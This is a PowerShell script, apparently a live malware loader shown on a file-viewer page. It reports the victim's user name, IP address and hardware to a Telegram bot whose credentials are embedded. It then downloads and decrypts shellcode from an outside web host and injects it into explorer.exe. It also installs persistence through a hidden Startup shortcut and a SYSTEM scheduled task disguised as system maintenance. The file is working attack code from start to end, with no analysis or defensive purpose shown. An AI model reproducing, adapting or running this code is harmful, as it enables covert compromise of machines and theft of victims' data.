One Hat Cyber Team

View File Name : see.ps1


# === CONFIG ===
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$url = "https://www.lelopagani.com.br/assets/js/f_e.bin"
$xorKey = 0x5A
$aesPassword = "S3cur3Passphras3!"
$group = "MDG"

function Send-TelegramNotify {
    try {
        $username = $env:USERNAME
        $cpu = (Get-WmiObject Win32_Processor).Name.Trim()
        $gpu = (Get-WmiObject Win32_VideoController | Select-Object -First 1).Name.Trim()
        $ram = "{0:N2} GB" -f ((Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB)
        $ip = (Invoke-RestMethod -Uri "https://api.ipify.org/?format=json").ip
        $msg = "[+] New hit`nUser: $username`nIP: $ip`nCPU: $cpu`nGPU: $gpu`nRAM: $ram`nGroup: $group"
        $bot = "7252153973:AAEEKvgf-cwqvWPviTklhbY6BPRbjwK3Jqw"
        $chat = "-1002513798195"
        $uri = "https://api.telegram.org/bot$bot/sendMessage?chat_id=$chat&text=$([uri]::EscapeDataString($msg))"
        Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    } catch {
        Write-Host "[!] Telegram notification failed: $_"
    }
}

# === API IMPORT (Pure PowerShell P/Invoke) ===
try {
    $signature = @'
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(IntPtr hObject);
}
'@
    
    # Add the type with proper error handling
    Add-Type -TypeDefinition $signature -Language CSharp -ReferencedAssemblies "System" -ErrorAction Stop
    Write-Host "[+] API functions loaded successfully"
} catch {
    Write-Host "[!] Failed to load API functions: $_"
    Write-Host "[*] Trying alternative method..."
    
    # Alternative method using PowerShell's Add-Type with MemberDefinition
    $altSignature = @'
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
'@
    
    $Win32Functions = Add-Type -MemberDefinition $altSignature -Name 'Win32Functions' -Namespace 'Win32' -PassThru
    
    # Create wrapper class
    $wrapperCode = @'
public static class Win32 {
    public static System.IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId) {
        return Win32Functions.OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
    }
    
    public static System.IntPtr VirtualAllocEx(System.IntPtr hProcess, System.IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect) {
        return Win32Functions.VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
    }
    
    public static bool WriteProcessMemory(System.IntPtr hProcess, System.IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out System.IntPtr lpNumberOfBytesWritten) {
        return Win32Functions.WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);
    }
    
    public static System.IntPtr CreateRemoteThread(System.IntPtr hProcess, System.IntPtr lpThreadAttributes, uint dwStackSize, System.IntPtr lpStartAddress, System.IntPtr lpParameter, uint dwCreationFlags, out System.IntPtr lpThreadId) {
        return Win32Functions.CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, out lpThreadId);
    }
    
    public static bool CloseHandle(System.IntPtr hObject) {
        return Win32Functions.CloseHandle(hObject);
    }
}
'@
    
    Add-Type -TypeDefinition $wrapperCode -ReferencedAssemblies $Win32Functions.Assembly.Location
}

# === DECRYPTION FUNCTION ===
function Decrypt-DonutStub($data) {
    try {
        $key = [System.Text.Encoding]::UTF8.GetBytes($aesPassword.PadRight(32, 'X').Substring(0,32))
        $iv = $data[0..15]
        $cipher = $data[16..($data.Length - 1)]

        $aes = [System.Security.Cryptography.Aes]::Create()
        $aes.Key = $key
        $aes.IV = $iv
        $aes.Mode = "CBC"
        $aes.Padding = "PKCS7"

        $decryptor = $aes.CreateDecryptor()
        $xorData = $decryptor.TransformFinalBlock($cipher, 0, $cipher.Length)

        for ($i = 0; $i -lt $xorData.Length; $i++) {
            $xorData[$i] = $xorData[$i] -bxor $xorKey
        }

        return $xorData
    } catch {
        Write-Host "[!] Decryption failed: $_"
        return $null
    }
}

# === MAIN EXECUTION ===
try {
    Write-Host "[*] Starting injection process..."
    
    # Send notification
    Send-TelegramNotify
    
    # Download and decrypt
    Write-Host "[*] Downloading payload..."
    $enc = (New-Object Net.WebClient).DownloadData($url)
    Write-Host "[+] Downloaded $($enc.Length) bytes"
    
    $donutShellcode = Decrypt-DonutStub $enc
    if ($donutShellcode -eq $null) {
        throw "Failed to decrypt payload"
    }
    Write-Host "[+] Decrypted to $($donutShellcode.Length) bytes"
    
    # Find explorer process
    Write-Host "[*] Finding explorer.exe..."
    $target = Get-Process explorer -ErrorAction Stop | Select-Object -First 1
    $targetPid = $target.Id
    Write-Host "[+] Found explorer.exe (PID: $targetPid)"
    
    # Open process
    Write-Host "[*] Opening process..."
    $hProc = [Win32]::OpenProcess(0x1F0FFF, $false, $targetPid)
    if ($hProc -eq [IntPtr]::Zero) {
        $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        throw "Failed to open explorer.exe (Error: $errorCode)"
    }
    Write-Host "[+] Process handle obtained: 0x$($hProc.ToString('X'))"
    
    # Allocate memory
    Write-Host "[*] Allocating memory..."
    $addr = [Win32]::VirtualAllocEx($hProc, [IntPtr]::Zero, $donutShellcode.Length, 0x1000, 0x40)
    if ($addr -eq [IntPtr]::Zero) {
        $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        throw "Failed to allocate memory (Error: $errorCode)"
    }
    Write-Host "[+] Memory allocated at: 0x$($addr.ToString('X'))"
    
    # Write shellcode
    Write-Host "[*] Writing shellcode..."
    $out = [IntPtr]::Zero
    $success = [Win32]::WriteProcessMemory($hProc, $addr, $donutShellcode, $donutShellcode.Length, [ref]$out)
    if (-not $success) {
        $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        throw "Failed to write memory (Error: $errorCode)"
    }
    Write-Host "[+] Shellcode written successfully"
    
    # Create remote thread
    Write-Host "[*] Creating remote thread..."
    $tid = [IntPtr]::Zero
    $thread = [Win32]::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$tid)
    if ($thread -eq [IntPtr]::Zero) {
        $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        throw "Failed to create remote thread (Error: $errorCode)"
    }
    Write-Host "[+] Remote thread created (Thread ID: 0x$($tid.ToString('X')))"
    
    # Clean up
    [Win32]::CloseHandle($hProc)
    Write-Host "[+] Injection completed successfully!"
    
} catch {
    Write-Host "[!] Injection failed: $_"
}

# === PERSISTENCE - STARTUP LNK ===
try {
    Write-Host "[*] Setting up persistence..."
    
    $ps1Url = "https://www.lelopagani.com.br/assets/js/tt.txt"
    $ps1Path = "$env:APPDATA\tt.ps1"
    $lnkPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\tt.lnk"
    
    # Ensure Startup directory exists
    $startupDir = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
    if (-not (Test-Path $startupDir)) {
        New-Item -ItemType Directory -Path $startupDir -Force | Out-Null
    }
    
    # Download PowerShell script
    Write-Host "[*] Downloading persistence script..."
    (New-Object Net.WebClient).DownloadFile($ps1Url, $ps1Path)
    Write-Host "[+] Persistence script downloaded to: $ps1Path"
    
    # Create shortcut
    Write-Host "[*] Creating startup shortcut..."
    $WScriptShell = New-Object -ComObject WScript.Shell
    $shortcut = $WScriptShell.CreateShortcut($lnkPath)
    $shortcut.TargetPath = "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe"
    $shortcut.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$ps1Path`""
    $shortcut.WorkingDirectory = "$env:APPDATA"
    $shortcut.WindowStyle = 7  # Hidden window
    $shortcut.Save()
    
    Write-Host "[+] Startup shortcut created: $lnkPath"
    
} catch {
    Write-Host "[-] Failed to create startup shortcut: $_"
}

# === PERSISTENCE - SCHEDULED TASK ===
try {
    Write-Host "[*] Creating scheduled task..."
    
    $taskName = "UpdaterEvery12h"
    $ps1Path = "$env:APPDATA\tt.ps1"
    
    # Remove existing task if it exists
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue
    }
    
    # Create actions
    $action = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\WindowsPowerShell\v1.0\powershell.exe" `
        -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$ps1Path`""
    
    # Create triggers (4AM and 4PM daily)
    $triggerAM = New-ScheduledTaskTrigger -Daily -At 4:00AM
    $triggerPM = New-ScheduledTaskTrigger -Daily -At 4:00PM
    
    # Register task
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
    $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
    
    Register-ScheduledTask -TaskName $taskName `
        -Action $action `
        -Trigger @($triggerAM, $triggerPM) `
        -Principal $principal `
        -Settings $settings `
        -Description "System maintenance task" `
        -Force
    
    Write-Host "[+] Scheduled task created: $taskName"
    
} catch {
    Write-Host "[-] Failed to create scheduled task: $_"
}

Write-Host "[*] Script execution completed"